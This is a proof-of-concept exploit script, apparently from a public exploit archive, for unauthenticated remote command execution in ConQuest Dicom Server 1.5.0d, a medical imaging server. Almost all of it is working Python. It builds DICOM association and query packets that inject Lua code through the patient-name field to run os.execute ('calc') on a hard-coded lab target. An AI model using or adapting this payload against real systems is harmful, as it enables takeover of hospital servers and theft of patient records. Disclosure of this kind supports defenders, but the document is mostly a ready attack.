ConQuest Dicom Server 1.5.0d Remote Command Execution Exploit

#!/usr/bin/env python3
# ---------------------------------------------------------
# preauth rce poc for ConQuest Dicom Server (1.5.0d)
# ---------------------------------------------------------
# 04.08.2023 @ 22:07 
# 
#   code610 blogspot com
# 

import socket

target = '192.168.56.106'
rport = 5678

pkt1 =  b"\x01\x00\x00\x00\x00\xd0\x00\x01\x00\x00\x43\x4f\x4e\x51\x55\x45\x53\x54\x56\x31"
pkt1 += b"\x20\x20\x20\x20\x20\x20\x43\x4f\x4e\x51\x55\x45\x53\x54\x56\x31\x20\x20\x20\x20"
pkt1 += b"\x20\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
pkt1 += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
pkt1 += b"\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e\x31"
pkt1 += b"\x20\x00\x00\x2e\xcb\x00\x00\x00\x30\x00\x00\x11\x31\x2e\x32\x2e\x38\x34\x30\x2e\x31\x30\x30\x30\x38\x2e\x31\x2e\x31"
pkt1 += b"\x40\x00\x00\x11\x31\x2e\x32\x2e\x38\x34\x30\x2e\x31\x30\x30\x30\x38\x2e\x31\x2e\x32"
pkt1 += b"\x50\x00\x00\x3d"
pkt1 += b"\x51\x00\x00\x04\x00\x00\x80\x00"
pkt1 += b"\x52\x00\x00\x22\x31\x2e\x32\x2e\x38\x32\x36\x2e\x30\x2e\x31\x2e\x33\x36\x38\x30\x30\x34\x33\x2e\x32\x2e\x31\x33\x35\x2e\x31\x30\x36\x36\x2e\x31\x30\x31"
pkt1 += b"\x55\x00\x00\x0b\x31\x2e\x35\x2e\x30\x2f\x57\x49\x4e\x33\x32"


pkt2 = b"\x04\x00\x00\x00\x04\x92\x00\x00\x04\x8e\xcb\x03\x00\x00\x00\x00\x04\x00\x00\x00\x38\x00\x00\x00"
pkt2 += b"\x00\x00\x02\x00\x12\x00\x00\x00\x31\x2e\x32\x2e\x38\x34\x30\x2e\x31\x30\x30\x30\x38\x2e\x31\x2e"
pkt2 += b"\x31\x00\x00\x00\x00\x01\x02\x00\x00\x00\x30\x00\x00\x00\x10\x01\x02\x00\x00\x00\x07\x00\x00\x00"
pkt2 += b"\x00\x08\x02\x00\x00\x00\x01\x01\x99\x99\x00\x04\x40\x04\x00\x00\x6c\x75\x61\x3a\x6c\x6f\x63\x61"
pkt2 += b"\x6c\x20\x66\x69\x72\x73\x74\x3d\x74\x72\x75\x65\x3b\x20\x6c\x6f\x63\x61\x6c\x20\x61\x65\x3d\x5b"
pkt2 += b"\x5b\x43\x4f\x4e\x51\x55\x45\x53\x54\x56\x31\x5d\x5d\x3b\x6c\x6f\x63\x61\x6c\x20\x6c\x65\x76\x65"
pkt2 += b"\x6c\x3d\x5b\x5b\x50\x41\x54\x49\x45\x4e\x54\x5d\x5d\x3b\x6c\x6f\x63\x61\x6c\x20\x71\x3d\x7b\x51"
pkt2 += b"\x75\x65\x72\x79\x52\x65\x74\x72\x69\x65\x76\x65\x4c\x65\x76\x65\x6c\x3d\x5b\x5b\x50\x41\x54\x49"
pkt2 += b"\x45\x4e\x54\x5d\x5d\x2c\x50\x61\x74\x69\x65\x6e\x74\x49\x44\x3d\x5b\x5b\x5d\x5d\x2c\x50\x61\x74"
pkt2 += b"\x69\x65\x6e\x74\x4e\x61\x6d\x65\x3d\x5b\x5b"

# super evil command
# rce payload: aaaa]],};local t=os.execute("calc");local z{[[
pkt3 = b""
pkt3 += b"\x61\x61\x61\x61\x5d\x5d\x2c\x7d\x3b\x6c\x6f\x63\x61\x6c\x20\x74\x3d\x6f\x73\x2e\x65\x78\x65\x63"
pkt3 += b"\x75\x74\x65\x28\x22\x63\x61\x6c\x63\x22\x29\x3b\x6c\x6f\x63\x61\x6c\x20\x20\x41\x3d\x7b\x5b\x5b\x41\x42"



pkt4 = b"\x5d\x5d\x2c\x7d\x3b\x6c\x6f\x63\x61\x6c\x20\x71\x32\x3d\x44\x69\x63\x6f\x6d\x4f\x62\x6a\x65\x63\x74\x3a\x6e\x65\x77\x28\x29\x3b"
pkt4 += b"\x20\x66\x6f\x72\x20\x6b\x2c\x76\x20\x69\x6e\x20\x70\x61\x69\x72\x73\x28\x71\x29\x20\x64\x6f\x20\x71\x32\x5b\x6b\x5d\x3d\x76\x20"
pkt4 += b"\x65\x6e\x64\x3b\x6c\x6f\x63\x61\x6c\x20\x72\x32\x3d\x64\x69\x63\x6f\x6d\x71\x75\x65\x72\x79\x28\x61\x65\x2c\x20\x6c\x65\x76\x65"
pkt4 += b"\x6c\x2c\x20\x71\x32\x29\x3b\x6c\x6f\x63\x61\x6c\x20\x73\x3d\x74\x65\x6d\x70\x66\x69\x6c\x65\x28\x22\x74\x78\x74\x22\x29\x20\x66"
pkt4 += b"\x3d\x69\x6f\x2e\x6f\x70\x65\x6e\x28\x73\x2c\x20\x22\x77\x62\x22\x29\x3b\x69\x66\x20\x72\x32\x3d\x3d\x6e\x69\x6c\x20\x74\x68\x65"
pkt4 += b"\x6e\x20\x66\x3a\x77\x72\x69\x74\x65\x28\x22\x6e\x6f\x20\x63\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x20\x77\x69\x74\x68\x20\x22\x2e"
pkt4 += b"\x2e\x61\x65\x2e\x2e\x22\x5c\x6e\x22\x29\x20\x72\x65\x74\x75\x72\x6e\x66\x69\x6c\x65\x3d\x73\x20\x66\x3a\x63\x6c\x6f\x73\x65\x28"
pkt4 += b"\x29\x20\x72\x65\x74\x75\x72\x6e\x20\x65\x6e\x64\x3b\x20\x6c\x6f\x63\x61\x6c\x20\x72\x20\x3d\x20\x6c\x6f\x61\x64\x73\x74\x72\x69"
pkt4 += b"\x6e\x67\x28\x22\x72\x65\x74\x75\x72\x6e\x20\x22\x2e\x2e\x72\x32\x3a\x53\x65\x72\x69\x61\x6c\x69\x7a\x65\x28\x29\x29\x28\x29\x3b"
pkt4 += b"\x72\x5b\x31\x5d\x2e\x51\x75\x65\x72\x79\x52\x65\x74\x72\x69\x65\x76\x65\x4c\x65\x76\x65\x6c\x3d\x6e\x69\x6c\x3b\x20\x72\x5b\x31"
pkt4 += b"\x5d\x2e\x54\x72\x61\x6e\x73\x66\x65\x72\x53\x79\x6e\x74\x61\x78\x55\x49\x44\x3d\x6e\x69\x6c\x3b\x20\x6c\x6f\x63\x61\x6c\x20\x6b"
pkt4 += b"\x65\x79\x73\x3d\x7b\x7d\x20\x66\x6f\x72\x20\x6b\x2c\x76\x20\x69\x6e\x20\x70\x61\x69\x72\x73\x28\x72\x5b\x31\x5d\x29\x20\x64\x6f"

pkt5 = b""
pkt5 += b"\x20\x69\x66\x20\x74\x79\x70\x65\x28\x76\x29\x7e\x3d\x22\x74\x61\x62\x6c\x65\x22\x20\x74\x68\x65\x6e\x20\x6b\x65\x79\x73\x5b\x23"
pkt5 += b"\x6b\x65\x79\x73\x2b\x31\x5d\x3d\x6b\x20\x65\x6e\x64\x20\x65\x6e\x64\x3b\x20\x74\x61\x62\x6c\x65\x2e\x73\x6f\x72\x74\x28\x6b\x65"
pkt5 += b"\x79\x73\x2c\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x61\x2c\x20\x62\x29\x20\x72\x65\x74\x75\x72\x6e\x20\x73\x74\x72\x69\x6e\x67"
pkt5 += b"\x2e\x73\x75\x62\x28\x61\x2c\x20\x31\x2c\x20\x37\x29\x3c\x73\x74\x72\x69\x6e\x67\x2e\x73\x75\x62\x28\x62\x2c\x20\x31\x2c\x20\x37"
pkt5 += b"\x29\x20\x65\x6e\x64\x29\x3b\x20\x69\x66\x20\x66\x69\x72\x73\x74\x20\x74\x68\x65\x6e\x20\x66\x6f\x72\x20\x6b\x2c\x76\x20\x69\x6e"
pkt5 += b"\x20\x69\x70\x61\x69\x72\x73\x28\x6b\x65\x79\x73\x29\x20\x64\x6f\x20\x66\x3a\x77\x72\x69\x74\x65\x28\x76\x2e\x2e\x22\x20\x20\x20"
pkt5 += b"\x20\x22\x29\x20\x65\x6e\x64\x20\x66\x3a\x77\x72\x69\x74\x65\x28\x22\x5c\x6e\x22\x29\x20\x65\x6e\x64\x20\x69\x66\x20\x66\x69\x72"
pkt5 += b"\x73\x74\x20\x74\x68\x65\x6e\x20\x66\x3a\x77\x72\x69\x74\x65\x28\x22\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
pkt5 += b"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
pkt5 += b"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
pkt5 += b"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
pkt5 += b"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
pkt5 += b"\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x5c\x6e\x22\x29\x20\x65\x6e\x64\x20\x66\x6f\x72\x20\x6b\x2c\x76"
pkt5 += b"\x20\x69\x6e\x20\x69\x70\x61\x69\x72\x73\x28\x72\x29\x20\x64\x6f\x20\x20\x20\x66\x6f\x72\x20\x6b\x32\x2c\x76\x32\x20\x69\x6e\x20"
pkt5 += b"\x69\x70\x61\x69\x72\x73\x28\x6b\x65\x79\x73\x29\x20\x64\x6f\x20\x66\x3a\x77\x72\x69\x74\x65\x28\x22\x5b\x22\x2e\x2e\x76\x5b\x76"
pkt5 += b"\x32\x5d\x2e\x2e\x22\x5d\x20\x20\x20\x20\x22\x29\x20\x65\x6e\x64\x20\x66\x3a\x77\x72\x69\x74\x65\x28\x22\x5c\x6e\x22\x29\x20\x65"
pkt5 += b"\x6e\x64\x20\x72\x65\x74\x75\x72\x6e\x66\x69\x6c\x65\x3d\x73\x20\x66\x3a\x63\x6c\x6f\x73\x65\x28\x29\x3b"


with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    print("+ connecting to target...")
    s.connect(( target, rport ))
    print("+ connected!")

    print("+ sending pkt1...")
    #s.sendall( pkt1 ) 
    #data1 = s.recv(1024)
    #print("+ recv pkt1:\n%s" % data1)

    #print("Data received:\n%s" % data1 )

    print("+ sending 2nd and more pkts...")
    #s.sendall( pkt2 ) 
    #s.sendall( pkt3 ) 
    #s.sendall( pkt3 ) 
    #s.sendall( pkt5 ) 

    allpkts = pkt1 + pkt2 + pkt3 + pkt4 + pkt5
    s.sendall(allpkts)


    print("! should be done :|")